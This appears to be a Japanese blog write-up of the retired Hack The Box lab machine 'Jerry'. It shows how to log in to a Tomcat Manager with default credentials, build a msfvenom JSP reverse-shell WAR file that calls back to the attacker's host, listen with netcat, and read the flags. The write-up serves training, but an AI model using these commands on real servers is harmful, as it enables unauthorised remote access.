1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Jerry_日本語Walkthrough

Posted at

概要

Hack The Box(以下、HTB)のRetiredチャレンジであるJerryのwriteupです。

環境

HTBの課金環境のPwnboxで実施しています。

Walkthrough

1. nmapで稼働しているサービスを確認する

nmap -Pn -A -T4 <ターゲットのIPアドレス>

image.png

8080ポートでApacheのTomcatが稼働していることがわかる

2. ブラウザから8080を確認

image.png

画面右に「Manager App」があり、管理者としてログインできそうです。

user:admin、password:adminでログインしてみます。
image.png

image.png

403 Access Deniedにつながります。
真ん中あたりにusernameやpasswordのサンプルが書いてあります。
これをそのまま使っている可能性が高いです。

For example, to add the manager-gui role to a user named tomcat with a password of s3cret, add the following to the config file listed above.

username:tomca、password:s3cretでログインを試します。

image.png
image.png

Manager画面にログインできました。

3. リバースシェルの確立

Manager画面からはApplicationのPathを確認でき、下部からディレクトリやWARファイルをDeployできるようです。
image.png
image.png

3.1 WARファイルの作成

ManagerではWARファイルのデプロイができそうなので、リバースシェルを確立するためのWARファイルを作成します。
作成にはmsfvenomを用います。

msfvenomはmetasploit frameworkの機能の一つでペイロードの作成に用いられます。
https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html

以下にペイロード作成のチートシートがありました。
https://github.com/frizb/MSF-Venom-Cheatsheet
WARファイルのペイロード作成のコードを用います。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<攻撃端末のIP> LPORT=<攻撃端末のポート> -f war > shell.war

今回は4444ポートでリバースシェルを確立します。
image.png
image.png

3.2 shell.warのDeploy

作成したWARファイルをTOMCATにDeployします。
image.png
image.png

/shellがDeployされていることを確認します。
image.png

3.3 リバースシェルの確立

ターミナルを開きnetcatをリッスンモードのポート4444で待ち受けします。

nc -nvlp 4444

image.png

ブラウザで/shellに接続します。
image.png
image.png

ターゲットマシンのシェルに繋がりました。

4. フラグの探索

cdコマンドでC直下まで戻り、dirコマンドでフラグを探します。

cd ..
dir /s user.txt
dir /s root.txt

image.png
見つかりません。。。

flagを含むものがないかを確認します。

dir /s flag*

image.png

UsersのAdministratorにあるflagsというディレクトリが怪しいので探索します。
image.png
2 for the price of 1.txtというテキストファイルがありました。
こちらをtypeコマンドで確認するとuserフラグとrootフラグが入手できます。
image.png

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?